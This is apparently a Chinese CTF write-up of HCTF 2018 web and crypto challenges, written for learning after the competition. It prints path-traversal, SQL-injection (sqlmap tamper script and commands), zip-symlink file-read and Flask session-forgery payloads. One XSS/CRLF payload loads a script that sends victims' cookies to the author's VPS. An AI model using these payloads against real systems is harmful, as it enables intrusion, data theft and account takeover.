打了一下 HCTF,感觉题目质量很好,学到了一些新姿势。赛后看了下各大顶尖战队师傅们的 wp,总结一下。
Web
Warmup
提示源码:
1 |
|
使用了白名单,只有 source.php 和 hint.php 才可以,但是发现有个 ? 截取,可以构造 payload:
1 | file=source.php?/../../../../ffffllllaaaagggg |
可以 return ture。
然后在 include 的时候,include(source.php?/../../../../ffffllllaaaagggg)
解析方式为:把 source.php?
当作一个新的文件夹,其实是没有这个文件夹的,然后后一个 ../
又跳回了当前目录,后面接着 3 个 ../,意思就是当前目录(源码所在目录)上三级文件夹下有个 ffffllllaaaagggg 文件,可以成功读取。
访问 http://warmup.2018.hctf.io/?file=source.php?/../../../../ffffllllaaaagggg,得到flag
kzone
题目进去就跳到 qq 空间登陆界面,发现源码泄露 www.zip,下载下来进行审计。
发现有全局的 waf:
1 |
|
过滤了一些字符。
在member.php
中,发现注入点:
1 |
|
可以看到 login_data 进行了 json_decode,这样可以无视 waf 了。例如过滤了 or ,可以使用\u006fr
来绕过。
比赛的时候是根据返回头里 set-cookie 的数量来进行布尔盲注,这个语句:
$udata = $DB->get_row("SELECT * FROM fish_admin WHERE username='$admin_user' limit 1");
可以构造 admin'and/**/0\u0023
和 admin'and/**/1\u0023
,来控制下面 $udata['username'] == ''
是否为真,通过 set-cookie 数量可以判断。由于下面这条语句 $admin_pass == $login_data['admin_pass']
,肯定为假,所以肯定有两个 set-cookie,这样可以通过返回头是两个还是四个 set-cookie 来布尔盲注。
测试:
admin'and/**/0\u0023
:
admin'and/**/1\u0023
:
可以注入。
然后发现不用注入,直接用 union 控制查询出的 $udata['password']
就可以登录管理员,但是登入后台发现没有 getshell 的点,审计发现都是 sql 语句没有什么可利用的。
猜测 flag 在数据库里,然后用盲注一点点注入,最后表名是 F1444g ,字段名是 F1a9 ,注出来 flag。
赛后看了大师傅们的 wp,发现有师傅直接自己写 tamper 脚本用 sqlmap 注入,自己也正好学一下写 tamper 脚本。
这里贴上 RR 师傅的脚本:
tamper/hctf.py:
1 | from lib.core.enums import PRIORITY |
命令:python sqlmap.py -r a.txt --tamper=hctf --dbms=mysql --thread=10 --dbs
a.txt:
1 | POST /admin/list.php HTTP/1.1 |
最后两个 replace 是因为后面注的时候,由于前面payload = payload.lower()
都换成了小写,表名之类的就不对了 ,还要把他们替换回去。
自己在复现的时候,sqlmap 死活跑不出,参考了一叶飘零师傅的 wp 才意识到是 sqlmap 对于盲注正确与否的不同页面判断有问题。
按照之前的注入方式,差别仅在响应头 set-cookie 的数量, sqlmap 默认应该是不能通过这样的方式盲注的,所以一直不成功。然后发现做题的时候漏了一个地方自己没有看到这个 $admin_pass == $login_data['admin_pass']
弱类型。 $admin_pass = sha1($udata['password'] . LOGIN_KEY);
也就是说是个 sha1 的哈希值,我们可以 admin_pass传入一个数字来弱类型绕过,数字到底是多少可以爆破,爆破到 65 成功,证明那个 sha1 的哈希值是 65 开头的。
然后就可以登进去了,这样的话盲注就变成了正确时是成功登陆,错误两个 set-cookie。我们现在可以通过 sqlmap 的指定选项 --not-string=window.location
来注入了,告诉 sqlmap 盲注错误返回的页面含有 window.location
。
所以我们把 temper 脚本改为 data = '''{"admin_user":"admin%s","admin_pass":65};'''
,然后命令:
1 | python sqlmap.py -r a.txt --tamper=hctf --dbms=mysql --thread=10 --technique=B --not-string=window.location -dbs |
–technique=B 指定注入为 Bool 盲注, 发现注出了数据库:
接下来就是注表名,命令:
1 | python sqlmap.py -r a.txt --tamper=hctf --dbms=mysql --thread=10 --technique=B --not-string=window.location -D hctf_kouzone --tables |
注字段名,命令:
1 | python sqlmap.py -r a.txt --tamper=hctf --dbms=mysql --thread=10 --technique=B --not-string=window.location -D hctf_kouzone -T F1444g --columns |
最后注flag,命令:
1 | python sqlmap.py -r a.txt --tamper=hctf --dbms=mysql --thread=10 --technique=B --not-string=window.location -D hctf_kouzone -T F1444g -C F1a9 --dumps |
另外,发现注入点也可以不用布尔盲注,采用时间盲注,就没有布尔盲注正确与错误的情况 sqlmap 能否识别的问题了。可以注出来但是效率就低了,sqlmap 命令:
1 | python sqlmap.py -r a.txt --tamper=hctf --dbms=mysql --thread=10 --technique=T |
handandseek
上传 zip 文件,想到软连接任意文件读取,详情可见:http://www.vuln.cn/8132
两个命令: ln -s 要读的文件名 链接名
,zip -y 压缩包名 链接名
可以用 python 写一个小的生成器,避免每次读都要输命令。
可以读 /etc/passwd,没有发现什么
1 | root:x:0:0:root:/root:/bin/bash |
读一下 /proc/self/environ ,发现了有用的:
1 | UWSGI_ORIGINAL_PROC_NAME=/usr/local/bin/uwsgiSUPERVISOR_GROUP_NAME=uwsgiHOSTNAME=fa2af3bed43dSHLVL=0PYTHON_PIP_VERSION=18.1HOME=/rootGPG_KEY=0D96DF4D4110E5C43FBFB17F2D347EA6AA65421DUWSGI_INI=/app/it_is_hard_t0_guess_the_path_but_y0u_find_it_5f9s5b5s9.iniNGINX_MAX_UPLOAD=0UWSGI_PROCESSES=16STATIC_URL=/staticUWSGI_CHEAPER=2NGINX_VERSION=1.13.12-1~stretchPATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binNJS_VERSION=1.13.12.0.2.0-1~stretchLANG=C.UTF-8SUPERVISOR_ENABLED=1PYTHON_VERSION=3.6.6NGINX_WORKER_PROCESSES=autoSUPERVISOR_SERVER_URL=unix:///var/run/supervisor.sockSUPERVISOR_PROCESS_NAME=uwsgiLISTEN_PORT=80STATIC_INDEX=0PWD=/app/hard_t0_guess_n9f5a95b5ku9fgSTATIC_PATH=/app/staticPYTHONPATH=/appUWSGI_RELOADS=0 |
配置文件 /app/it_is_hard_t0_guess_the_path_but_y0u_find_it_5f9s5b5s9.ini
根目录: /app/hard_t0_guess_n9f5a95b5ku9fg
继续读配置文件:
1 | module = hard_t0_guess_n9f5a95b5ku9fg.hard_t0_guess_also_df45v48ytj9_main |
/app/hard_t0_guess_n9f5a95b5ku9fg/hard_t0_guess_also_df45v48ytj9_main.py
是运行的文件。
第一天的时候这个 py 文件是个 html…脑洞?后来有 bug 下线了,再上线读一下就是正常的 py :
1 | import uuid |
代码出现对 index.html 的渲染,读一下 index.html ,路径:
app/hard_t0_guess_n9f5a95b5ku9fg/templates/index.html
1 |
|
是 admin 可以得到 flag,flag是从 flag.py import 的,那么尝试读 flag.py,发现返回不是 admin…
那么我们就需要 admin 登进去了,这里在代码看到 session 的 SECRET_KEY 生成方式:
1 | import uuid |
搜一下 uuid.getnode(),就可以知道这是返回主机的 mac 地址(十进制),所以我们如果想伪造 session,先要读一下 mac 地址,路径:/sys/class/net/eth0/addressc
1 | 12:34:3e:14:7c:62 |
那么直接 python 生成:
1 | import uuid |
注意这里要用 python3,python2 和 python3 生成的结果不同,读 python 版本号可知是 python3,也可以两个都试一下。
得到结果: 11.935137566861131
然后有了 SECRET_KEY,拿到管理员的 session ,这里说下两种方法:
本地运行拿 session
代码里如果 admin 登录就跳转,我们可以本地把代码这部分改掉,然后 admin 登录拿 session,注意还要把 key 改了,如果不改就按照自己主机的 mac 地址生成了。
我改了个print(1)
运行 main.py,访问 http://127.0.0.1:10008/ 直接登录 admin(要仿照服务器那边放个 flag.py 保证正常登录)
拿 cookie:
然后带着这个 cookie 去访问题目:
得到 flag:
直接伪造 session
现在我们已经拿到了 seesion 的 SECRET_KEY,可以借助工具直接生成 Flask 的 session,工具地址:
https://github.com/noraj/flask-session-cookie-manager
首先我们首先任意登一个用户,解密一下:
1 | python session_cookie_manager.py decode -c "eyJ1c2VybmFtZSI6ImdtbCJ9.DsvdsA.L4_AQuRKz_33D-JBWPEOdipSQTM" -s "11.935137566861131" |
把名字改为 admin,生成:
1 | python session_cookie_manager.py encode -t "{u'username': u'admin'}" -s "11.935137566861131" |
拿这个 session 也可以得到 flag。
admin
解法一、unicode编码绕过
修改密码的源代码有github的地址,源码泄露:
下载到源码,发现在注册和改密码都包含有一个 strlower
的处理:
跟一下:
这里两次进行小写转换可以越权修改 admin 的密码,详细可见 这篇
按照思路,先注册一个 ᴬdmin,然后登录:
经过strlower
,发现已经变成了正常的大写的 A。
然后我们修改密码,再用 admin 和修改后的密码进行登录:
成功登入 admin。
解法二、伪造 session
和上面的 handandseek 几乎一样,这里也是两种方法生成 session。
工具生成:
详情见 handandseek 的过程,拿到普通用户的 session -> 解密 -> 用户名改为 admin -> 登录
需要注意的是要用 python3 生成,2 和 3 有些差异,python2 登不进去。
我用 python3 也有时候登的上有时候登不上… 很迷,多试几次。
1 | py -3 session_cookie_manager.py decode -c ".eJw9kE2LgzAQhv_KMmcPGk1dCz0U1OJCpghxQ3KR1I31K13QFqml_31tD3t8n_dhmJkHlPVopga21_FmHCjbH9g-4OMEW0CuOuTFXRLmYtxTZVWv-GBRYI-WzYrvKePVLEkeyKXyVTy0SLBXIid4yGf2cklBUXz37JAEuKy-zWYUhS9XpkRyZzZtMd4HyqYNi9HKRVJJMh8X1WL3teacIkmbI5cB49mihGqkTahc0uEYY8fEi7MdPB2oprEur7-9uazLU127rh96mhovCmu3DrWvK2PCz4hEG6IranRUVxtwoLX6bP6v5glmMt-9J160XQs422HVbpMZ3-8Bz4XnH8pzYho.W-pkDw.8VHOyWfjrgVGMKOpjxyK3Q4UPq4" -s "ckj123" |
1 | py -3 session_cookie_manager.py encode -t "{'_fresh': True, '_id': b'56c552cc4499ffde9f5cd6c0e09170cd8c77d9b7cded64d019f7e95ed0a87092b05e7aedea22ab408faa03fc69cb776b62fc497aa968123efaba9c1e83c1f813', 'csrf_token': '5af00371a5e197f0f7a3acee7892962ac5ea9fc6', 'image': b'LCHa', 'name': 'admin', 'user_id': '10'}" -s "ckj123" |
然后带着 session 去访问 http://admin.2018.hctf.io/index
本地生成
本地搭环境登录 admin 获取 session。
解法三、条件竞争
这个有师傅利用条件竞争成功登入 admin 的,见这篇:
https://gist.github.com/dotsu123/7e479ad93c62c9632a97dbb9bb119681
不过我没有复现成功。。。
解法四、莫名其妙拿 flag
听天枢的师傅说这个题有个奇怪的 bug… 天枢 wp 的链接 https://xz.aliyun.com/t/3256#toc-4
这题这么多解法真是可以2333。
bottle
登进去是下面的页面:
很像是 xss,发现有个 302 跳转:
参考 p神的文章:https://www.leavesongs.com/PENETRATION/bottle-crlf-cve-2016-9964.html
使用 <80 的端口绕过 302。直接打 cookie,用 VPS 和 xss 平台都可以。
验证码可以用下面脚本跑出来:
1 |
|
VPS:
在我的 VPS 上放个 cookie.js,内容为:
1 | keep=new Image(); keep.src='http://vps_address:2333?cookie='+escape(document.cookie); |
然后在题目 url 填入下面 payload:
1 | http://bottle.2018.hctf.io/path?path=http://bottle.2018.hctf.io:22/user%0d%0a%0d%0a%3Cscript%20src=http://vps/cookie.js%3E%3C/script%3E |
验证码爆破,然后提交,在 vps 上监听 2333端口:
用打来的 cookie: 410e34187a19486dbdd6532fbb44af70
访问:
用 xss 平台:
payload:
1 | http://bottle.2018.hctf.io/path?path=http://bottle.2018.hctf.io:22/user%0d%0a%0d%0a%3Cscript%20src=https://xss.pt/WqMR%3E%3C/script%3E |
Crypto
xor_game
典型的重复密钥异或,之前 Bside 做过一个类似的,这次也是套用上次的思路。
思路
我们先假设 key 有10位,那么明文第 1 位与密文第 1 位异或的结果一定等于明文第11位与密文第11位异或的结果,因为结果就是 key 的第一个字符
所以我们可以控制明文的第 1 位和第 11 位进行爆破,当他们与各自位置的密文异或的结果相等,就说明异或的结果是 key 第一位的一个可能值。利用第一位和第十一位,应该会得到不止一个 key 第一位的可能值。再同理爆 11 位和 21 位,第 21 位 和第 22 位 ……最后各个组的可能值取交集,就有很大可能是 key 的第一位。
当然我们不知道 key 的位数,我们可以采用爆破的方法,看爆出的 key 哪个像是 flag,因为 flag 是可见字符并且可以辨认。
因为我们有足够多的组,所以有很小几率取交集剩下有多个字符,但是这里涉及到一个很棘手的问题,就是爆破明文的时候,爆破的字典选取。
这个字典,如果选择所有可见字符,那么确实每一位最后都会爆出很多个结果… 这道题说明文是一首诗,所以我能想到的字符集是大小写字母+数字+空格、换行+标点符号
。这个字典选取如果过大,会爆出很多结果;如果字典选取过小,明文中有些字符没有在字典中,那么就会出现部分 key 的位数爆不出来的情况。
解题过程
在做这个题时,我先尽量压低了字典的大小:
1 | dict=string.ascii_letters+string.digits+".?!'\",;: "+chr(10) |
代码:
1 | # -*- coding: utf-8 -*- |
结果:
可以判断 key 应该为 21 位,而这个结果才 17 位,离真正的 key 还差一些。
很容易补齐前面差的 x
和后面的 g
,但是还是差两两位,猜测字典可能小了,所以不断试着逐渐增大字典,终于最后找到了合适的字典:
1 | dict=string.ascii_letters+string.digits+".?!'\",;: ()-"+chr(10) |
最后跑出来 flag:
1 | xor_is_interesting!@# |
回顾我的思路,最大的问题是字典的选取。我在爆每一位的时候,取交集的组数是 组数-1
,如果少用一些组,可能会降低字典选择的难度;又或者可以多用更多的组,比如第一组的第 1 位和其他各组都进行爆破,使用尽可能多的组进行取交集,让条件更为苛刻,那么就可以让字典大一些了,这些想法都可以试一试。
赛后看师傅们的思路,好像没有与我有类似思路的… 大体分为这两种:
- 通过词频分析结合爆出的 key,一点点猜测真正的 key;
- 通过
xortool
工具计算出模糊的 key,解密出明文的几个单词,然后去搜素发现是泰戈尔的《生如夏花》,还原出完完整整的一组明文,利用这 21 个字符的明文与密文异或得到 key。
关于破解异或加密,贴上几个链接:
- https://ehsandev.com/pico2014/cryptography/repeated_xor.html
- https://findneo.github.io/171005NuptVigenereWP/
- https://github.com/hellman/xortool
有兴趣的师傅可以深入研究。
xor?rsa
两段明文的前 1024-40
位相同,后 40 位不同,典型的 RSA padding short 攻击。
首先使用 Coppersmith’s Short Pad Attack
来获得两段明文的差值,然后再利用 Related Message Attack
恢复明文,使用 sage 脚本:
1 | def short_pad_attack(c1, c2, e, n): |
在https://sagecell.sagemath.org/ 上运行,把结果发过去就可以得到 flag。
也可以采用下面的脚本求解:
1 | https://github.com/ValarDragon/CTF-Crypto/blob/master/RSA/FranklinReiter.sage |